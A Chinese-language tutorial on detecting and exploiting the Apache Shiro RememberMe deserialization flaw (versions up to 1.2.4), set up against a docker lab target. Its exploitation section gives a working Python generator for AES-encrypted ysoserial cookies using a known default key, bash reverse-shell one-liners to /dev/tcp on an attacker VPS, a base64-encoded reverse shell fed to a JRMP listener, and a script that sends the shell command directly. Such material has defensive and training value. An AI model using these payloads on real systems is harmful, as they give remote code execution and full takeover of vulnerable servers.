Apache Shiro Java反序列化漏洞检测及利用
- 参考链接
- 一,理解漏洞原理
- 1.1 漏洞详情
- 1.2 漏洞危害
- 1.3 影响范围
- 二,漏洞检测和利用
- 2.1 搭建漏洞环境
- 2.2 检测:
- 方法1:
- 方法2:
- 方法3:
- 2.3 利用:
- 方法1:半手工方式
- (1),使用python脚本生成POC:
- (2),制作反弹SHELL:
- (3),使用ysoserial中JRMP监听模块,监听5678端口(刚刚生成的rememberme的端口),并执行反弹shell命令:
- (4), 在VPS2上监听1234端口:
- (5), 拦截数据包, 发送POC
- 方法2:纯脚本方法
一,理解漏洞原理
1.1 漏洞详情
Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。
漏洞原理
Apache Shiro框架提供了记住我的功能(RememberMe),用户登陆成功后会生成经过加密并编码的cookie。cookie的key为RememberMe,cookie的值是经过对相关信息进行序列化,然后使用aes加密,最后在使用base64编码处理形成的。
客户端生成rememberme过程:
Java序列化 —> 使用密钥进行AES加密 —> Base64加密 —> 得到加密后的remember Me内容
在服务端接收cookie值时,按照如下步骤来解析处理:
remember Me加密内容 —> Base64解密 —> 使用密钥进行AES解密 (加密密钥硬编码)—>Java反序列化(未作过滤处理)
问题出在AES加密的密钥Key被硬编码在代码里,这意味着攻击者只要通过源代码找到AES加密的密钥,就可以构造一个恶意对象,对其进行序列化,AES加密,Base64编码,然后将其作为cookie的remember Me字段发送,Shiro将rememberMe进行解密并且反序列化(未作过滤处理),最终造成反序列化漏洞。
1.2 漏洞危害
远程代码执行,getshell等
1.3 影响范围
只要rememberMe的AES加密密钥泄露,Apache Shiro <= 1.2.4版本均存在威胁
二,漏洞检测和利用
场景示意:
2.1 搭建漏洞环境
注:演示的靶机处于公网的情况,局域网下原理也一样。
使用docker,在VPS1里面搭建Shiro remember反序列化环境:
- 拉取镜像到本地
$ docker pull medicean/vulapps:s_shiro_1
- 启动环境
$ docker run -d -p 80:8080 medicean/vulapps:s_shiro_1
-p 80:8080
前面的 80 代表物理机的端口,可随意指定。
3,访问
网上检测和利用的方法有很多,我就记录一些我目前见到的比较好用的方法:
2.2 检测:
以下:http://y.y.y.y/login.jsp代表漏洞地址
方法1:
使用网上的脚本来扫描:
工具获取·:
git clone https://github.com/insightglacier/Shiro_exploit.git
//下载检测脚本
使用方法:
python2 shiro_exploit.py -u http://y.y.y.y/login.jsp
检测结果显示:漏洞存在,且CipherKey的值为:kPH+bIxk5D2deZiIxcaaaA==
方法2:
使用python脚本+ http://ceye.io/平台检测
工具获取:
git clone https://github.com/teamssix/shiro-check-rce.git
使用方法:
该功能需要你有一个http://ceye.io/的账号,在http://ceye.io/profile页面,找到自己的Identifier值和API Token值。
使用-t和-c参数配合使用,可以直接通过关键字字典进行检测。
python3 shiro-check-rce.py -c "ping {your.ceye.io}" -t {your_token} -u {target_URL}
如果你有自己的KEY,也可以使用-k参数进行指定,因为我之前检测过得到key值了,所以我就指定一下:
python3 shiro-check-rce.py -c "ping your.ceye.io" -t your_token -k kPH+bIxk5D2deZiIxcaaaA== -u http://y.y.y.y/login.jsp
// your.ceye.io和 your_token均填写自己相对应的信息,http://y.y.y.y/login.jsp代表漏洞地址
有数据,说明ping的命令执行成功了。
方法3:
使用在线工具检测
http://sbd.ximcx.cn/ShiroRce/ //tools的在线检测工具,目前关闭了,以后应该会开的,里面的key应该全一些,使用方法的话,是配合http://ceye.io/平台或者http://www.dnslog.cn/就可以了。
2.3 利用:
方法1:半手工方式
大致思路是:
(1),使用python脚本生成POC:
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print "rememberMe={0}".format(payload.decode())
//这个脚本的话,需要在里面写上KEY的值
用法:python PopX.py 攻击者IP:PORT
python2 PopX.py x.x.x.x:5678
//这里我写的是VPS的IP(需要反弹SHELL的地址,端口是待会ysoserial中JRMP监听模块监听的端口)
(2),制作反弹SHELL:
bash -i >& /dev/tcp/x.x.x.x/1234 0>&1
//x.x.x.x 指的是你要反弹的VPS的地址和端口
将命令放到http://www.jackson-t.ca/runtime-exec-payloads.html里编码:
制作好的命令在下一步用得到:
(3),使用ysoserial中JRMP监听模块,监听5678端口(刚刚生成的rememberme的端口),并执行反弹shell命令:
在VPS2上执行: (即在需要反弹SHELL的机器上执行)
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 5678 CommonsCollections4 ' bash -c {echo,IGJhc2ggLWkgPiYgL2Rldi90Y3AvMTA0LjE2OC4xNDcuMTMvMTIzNCAgMD4mMSA=}|{base64,-d}|{bash,-i}'
//把上一步制作的命令替换到相应位置,然后执行。
(4), 在VPS2上监听1234端口:
nc -lvp 1234
(5), 拦截数据包, 发送POC
直接把cookie那里,用生成的rememberme全部替换掉:
发送以后,获得反弹shell:
方法2:纯脚本方法
利用漏洞检测方法2中提到的shiro-check-rce.py脚本,直接执行反弹shell的命令:
直接在本机上执行脚本命令:
python3 shiro-check-rce.py -c " bash -i >& /dev/tcp/x.x.x.x/8888 0>&1" -k kPH+bIxk5D2deZiIxcaaaA== -u http://y.y.y.y/login.jsp
x.x.x.x/8888 为你反弹VPS的ip和端口;局域网的话可以指定本机的IP,然后用本机来监听。
http://y.y.y.y/login.jsp代表漏洞地址
在VPS2监听8888端口:
执行以后成功反弹shell: